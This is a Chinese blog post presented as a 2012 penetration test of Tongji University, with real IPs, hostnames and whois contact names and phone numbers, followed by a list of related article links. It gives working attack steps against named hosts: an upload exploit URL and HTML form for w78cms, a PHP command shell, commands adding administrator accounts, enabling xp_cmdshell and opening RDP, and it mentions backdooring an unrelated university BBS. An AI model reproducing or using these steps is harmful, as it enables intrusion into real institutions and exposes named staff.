12年寫的一份滲透測試報告

目標：同濟大學域名：www.tongji.edu.cn

1.資訊收集

收集www.tongji.edu.cn 網站子站資訊為後續滲透做好鋪墊。1.1 獲取IP 使用Ping得到IP 202.120.189.3 address:上海 1.2 Whois 查詢

網段: 202.120.176.0 - 202.120.191.255

管理員聯絡:

Cui , Zijun (ZC3-CN)

+86-21-6598-9006

技術人員聯絡:

Wang , Zhengping (ZW2-CN)

+86 21 65025080 ext. 2840

最後更新記錄在

19970627

記錄於 19970627

dns.tongji.edu.cn 202.120.191.30

dns1.tongji.edu.cn 202.120.191.208

1.3 Mail:收集

Mail伺服器：http://mail.tongji.edu.cn

碰過很多用郵箱前輟做密碼的.

[email protected].com

[email protected]

1.4 子域名收集

分佈這個網段：202.120.189.3-202.120.189.255C段全部是WEB應用

同服網站：

http://www.tongji.edu.cn

http://news.tongji.edu.cn

http://gandong.tongji.edu.cn

http://photo.tongji.edu.cn

2. 掃描

nmap:

nmap -sS -sV -P0 -T4 -O -A -F -sC --version-light -v www.tongji.edu.cn

80/tcp open http nginx 1.0.8

|_http-methods: No Allow or Public header in OPTIONS response (status code 405)

|_http-title: \xE6\xAC\xA2\xE8\xBF\x8E\xE8\xAE\xBF\xE9\x97\xAE\xE5\x90\x8C\xE6\x

B5\x8E\xE5\xA4\xA7\xE5\xAD\xA6\xE4\xB8\xBB\xE9\xA1\xB5

nix 只對外開放一個80 資訊收集的差不多這後由於主站只開放一個WEB應用。

只好轉戰WEB上來

3.web評估

首先使用首先使用Wet工具對鏡點進行映象：

爬完網站後，在網站目錄結構下找到在一個叫SC的目錄，該目錄下找到一個asp的網站測試一下了也沒存在漏洞還呼叫了防注入程式。

過濾GET POST COOKIE 提交過來的資料主站無果旁站也沒有可拿到shell的漏洞，現在只好滲透分站了

找到一個Ip:202.120.189.3 此站伺服器上只有一個站點初步估計許可權會很大好提權好吧就它了

居然玩跳轉了：

這個跳轉也暴露了，它網站使用的程式，是一套asp的cms,w78cms,估計大家都很熟悉，國內用的比較多吧.

這套程式存在一個上傳漏洞,以下是分析過程:

Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sCusDir = Trim(Request.QueryString("cusdir"))
sParamSYFlag = Trim(Request.QueryString("syflag"))
sCusDir = Replace(sCusDir, "\", "/")
If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir, "./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then
sCusDir = ""
 
'這裡程式設計師只考慮到了跨目錄的問題
End If
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("parent.UploadError('style')")
End If
sBaseUrl = aStyleConfig(19)
nUploadObject = Clng(aStyleConfig(20))
nAutoDir = CLng(aStyleConfig(21))
sUploadDir = aStyleConfig(3)
If sBaseUrl<>"3" Then
If Left(sUploadDir, 1) <> "/" Then
sUploadDir = "../" & sUploadDir
End If
End If
Select Case sBaseUrl
Case "0", "3"
sContentPath = aStyleConfig(23)
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
If sBaseUrl<>"3" Then
sUploadDir = Server.Mappath(sUploadDir)    ‘這裡建立目錄
End If
If Right(sUploadDir,1)<>"\" Then
sUploadDir = sUploadDir & "\"
End If

很明顯程式設計師只考慮到跨目錄的漏洞沒有過濾點號最後創目錄結合IIS解析漏洞導致漏洞形成。

漏洞修復方法：sCusDir = Replace(sCusDir, ".", "")

漏洞利用：

http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp

時程式會在uploadfile 目下建立一個名為Zvall.asp的資料夾

在利用這個HTML上傳吧

<form action="http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp" method=post name=myform
enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>

上傳成功後返回的原始碼:

傳WEB後門發現伺服器已被攻陷有administrator組admin$帳號一枚,並且發現伺服器支援JSP 預設是SYSTEM許可權,

ipconfig /all後發現伺服器有4張網絡卡其中一張是VirtualBox虛擬網絡卡.

多網段意味著滲透的空間更大,執行net user Administrator命令後發現:管理員的最後登入時間為2012-8-14 7:00

看來伺服器管理員經常來伺服器在查看了下administrator的桌面發現個bat

內容為：

ipconfig /release

ipconfig /renew

可以看出伺服器的某張網絡卡採取的是dhcp方式

初步猜測管理員可能不是小白所以類似進伺服器桌面操作看起來有點不可取

但又沒辦法只好掛上一個VPN加一個跳板再新增管理帳號

再用lcx.exe 轉發埠

網路連線資訊：

執行ipconfig /all:後發現有如下網段

網段1: 10.10.203.*

網段2: 192.168.0.*

網段3: 169.254.* DHCP

首先滲透網段2：

先破系統hash為：gisgp** 由於伺服器上裝了chrome瀏覽器所以讀讀密碼吧,例如上網上時表單的密碼。不過運氣並沒有眷故我,沒有讀出密碼在讀其實WEB程式配置檔案時發現本機的MSSQL存在一個弱口令 sa/password,由於沒有將1433對映到公網所以降低了被滲透的風險

網絡卡2:ip為 192.168.0.11

在列舉時發現192.168.0.12與192.168.0.11的Ntpass密碼一樣果斷連線ipc$

又現sql 弱口令一枚看來這個管理員安全意低, 同時網段1 ip 為: 10.10.203.70 OS：windows xp 存在NT弱口令。

簡單測試了一下這個網段存在以下問題

管理的系統密碼通用

同時管理的兩臺WEB應用伺服器 MSSQL 都存在弱口令

到了這步首先利用WMI 給伺服器開telnet,伺服器是ip: 192.168.0.12 OS:windows 2000

再telnet裡新增帳號 net user Zvall Zvall/add& net localgroup administrators Zvall /add

由於伺服器3389沒有開啟加之是windows 2000 網上的那些開3389的指令碼都要重啟

這裡我想了一個不用重啟的方法出來了指令碼如下：

echo [Components] > c:\Zvall

echo TSEnable = on >> c:\Zvall

sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\Zvall /q

執行以上指令碼後無需重啟即開3389 成功 good

哎只有兩三臺伺服器出搞了個domain,簡直了:

由於此段只有幾個IP 只好換網段再滲透:

現在目標定在:192.168.0.250.* 這個段上

首先收集內網中存活的IP：

Nmap -sP 192.168.o.o/24

在使用SuperScanner 掃C段常見的應用：

在觀察埠時發現 192.168.250.3 伺服器上的WEB應用程式屬於開源程式BBS程式KBS

KBS bbs 是由C語言+php編寫而成於是下了原始碼分析了一下，發現存在一個上傳漏洞

C程式碼 原始碼分析:
 
 
 
PHP_FUNCTION(bbs_upload_add_file)
{
    char *filename, *ofilename;
    int flen, oflen, ret;
    if (zend_parse_parameters(2 TSRMLS_CC, "ss/", &filename, &flen, &ofilename, &oflen) == FAILURE) {
        WRONG_PARAM_COUNT;
    }
    if (!flen || !oflen) {
        RETURN_ERROR(GENERAL);
    }
    ret = upload_add_file(filename, ofilename, getSession());
    switch (ret) {
        case -1:
            RETURN_ERROR(GENERAL);
            break;
        case -2:
            RETURN_ERROR(ATTACH_CLIMIT);
            break;
        case -3:
            RETURN_ERROR(ATTACH_INVALIDNAME);
            break;
        case -4:
            RETURN_ERROR(ATTACH_DUPNAME);
            break;
        case -5:
            RETURN_ERROR(GENERAL);
            break;
        case -6:
            RETURN_ERROR(ATTACH_SLIMIT);
            break;
        default:
            RETURN_LONG(0);
            break;
    }
}
 
upload_add_file:
 
int upload_add_file(const char *filename, char *original_filename, session_t *session)
{
    int ret = upload_add_file_helper(filename, original_filename, session);
    if (ret) unlink(filename);
    return(ret);
}
 
upload_add_file_helper:
 
static int upload_add_file_helper(const char *filename, char *original_filename, session_t *session)
{
    struct ea_attach_info ai[MAXATTACHMENTCOUNT];
    char attachdir[MAXPATH], attachfile[MAXPATH];
    FILE *fp;
    char buf[256];
    int i, n, len;
    int totalsize=0;
    char *pos1, *pos2;
    struct stat stat_buf;
 
    n = upload_read_fileinfo(ai, session);
    if (n >= MAXATTACHMENTCOUNT)
        return -2;
 
    pos1 = strrchr(original_filename, '\\');
    pos2 = strrchr(original_filename, '/');
    if (pos1 && pos2) {
        if (pos1 < pos2) pos1 = pos2;
        original_filename = pos1 + 1;
    } else {
        pos1 = pos1 ? pos1 : pos2;
        if (pos1) original_filename = pos1 + 1;
    }
    len = strlen(original_filename);
    if (!len)
        return -3;
    if (len > 60) {
        original_filename += (len-60);
        if (original_filename[-1] & 0x80) {
            original_filename++;
        }
    }
    filter_upload_filename(original_filename);  //過濾跨站字元
 
    for (i=0;i<n;i++) {
        if (strcmp(ai[i].name, original_filename) == 0) return -4;
        totalsize+=ai[i].size;
    }
    if (stat(filename, &stat_buf) != -1 && S_ISREG(stat_buf.st_mode)) {
        totalsize += stat_buf.st_size;
    } else {
        return -5;
    }
    if (!HAS_PERM(session->currentuser, PERM_SYSOP) && totalsize > MAXATTACHMENTSIZE) return -6;
 
    getattachtmppath(attachdir, MAXPATH, session);
    mkdir(attachdir, 0700);
 
    snprintf(attachfile, MAXPATH, "%s/%d_%d", attachdir, (int)(time(NULL)%10000), rand()%10000);
    f_mv(filename, attachfile);
 
    snprintf(buf, sizeof(buf), "%s %s\n", attachfile, original_filename);
 
    snprintf(attachfile, MAXPATH, "%s/.index", attachdir);
    if ((fp = fopen(attachfile, "a")) == NULL)
        return -1;
    fprintf(fp, "%s", buf);
    fclose(fp);
    return(0);
}

整個過程都沒有檢測上傳檔案型別，只過濾了一些跨站字元

首先在BBS上註冊一個帳號

<?php

print `ls -la`;

上傳這個檔案後突然發現訪問不了網站了,上傳txt又可以果然是WAF在作怪啊

據以往滲透的經驗來看初步估計192.168.250.* 這個網段有一臺WAF

明顯是檢測關鍵字，大概過了5分鐘左右發現可以訪問了

又上傳一個傳的檔案<? print 'Zvall';?> ，此時WAF又中斷了訪問,看來是WAF檢測了後輟名了。再上傳一個txt 返回正常

為了證明此漏洞的存在，我在網上找了個大學BBS站測試了一下，並成功上傳php後門。

漏洞修復方法：使用白名單方式過濾filename ，把Filepath定義成常量

到了這步只好繼續看SuperScanner掃出的結果:

APPWEB 這不是嵌入式裝置才有的麼？

於是訪問 192.168.250.254

果然是高階貨Juniper SRX3600 大學有錢呀

呵呵難怪搞這個這麼昂貴的裝置呀因為此網段全是WEB應用，現在只好繼續查詢其它WEB應用。

繼續找到一個IP存在一個豬肉點 192.168.250.13

用的Asp.net程式存在SA 許可權注點一個資料庫為: Mssql2008

提交:

在將 nvarchar 值 'dbo' 轉換成資料型別 int 時失敗。

返回正常當前是SA 由於mssql2008預設沒有開啟xp_cmdshell 所以還得開啟它才執行命令，以用如下語句開啟:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

再利用Pangolin執行命令

再直接來開3389 加管理員

執行REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

執行完後發現3389埠並沒有開啟

執行shutdown -r -t 0 返回：計算機已經鎖定而且不使用強制選項無法關機。(1271)

那就只有把管理員登出掉執行query user 返回

列舉會話名時的錯誤 0x000006A6

12年寫的一份滲透測試報告

“/WebSite1”應用程式中的伺服器錯誤。

在將 nvarchar 值 'dbo' 轉換成資料型別 int 時失敗。

12年寫的一份滲透測試報告

我的2018，用一年的時間寫一份年終總結！

如何寫一份優秀的java程序員簡歷

如何寫一份個人工作總結型的PPT來獲得領導的認可？

寫一份gulp常用配置檔案，構建前端工作流

偶然的一次滲透測試

POI匯出時寫一份到ftp伺服器，一份下載給客戶端 ftp伺服器搭建(離線安裝vsftpd)，配置 poi實現百萬級資料匯出 oi實現百萬級資料匯出

利用cve-2017-11882的一次滲透測試

如何寫一份程式設計師愛看的需求文件？

Metasploit入門系列(十一)——後滲透測試

怎麼寫一份好簡歷

工具推薦：Dradis，Kali滲透測試報告生成器

進入新公司，如何做一份產品體驗報告？

如何寫一份有吸引力的設計提案

python介面自動化（三十一）--html測試報告通過郵件發出去——下（詳解）

快速成長從寫一份走心的週報開始

程式設計師如何寫一份合格的簡歷？（附簡歷模版）

Appium+python HTML測試報告(2)——一份報告模板

[JVM] - 一份<自己動手寫Java虛擬機器>的測試版

教你編寫一份高質量的軟體測試報告

12年寫的一份滲透測試報告

“/WebSite1”應用程式中的伺服器錯誤。

在將 nvarchar 值 'dbo' 轉換成資料型別 int 時失敗。

相關推薦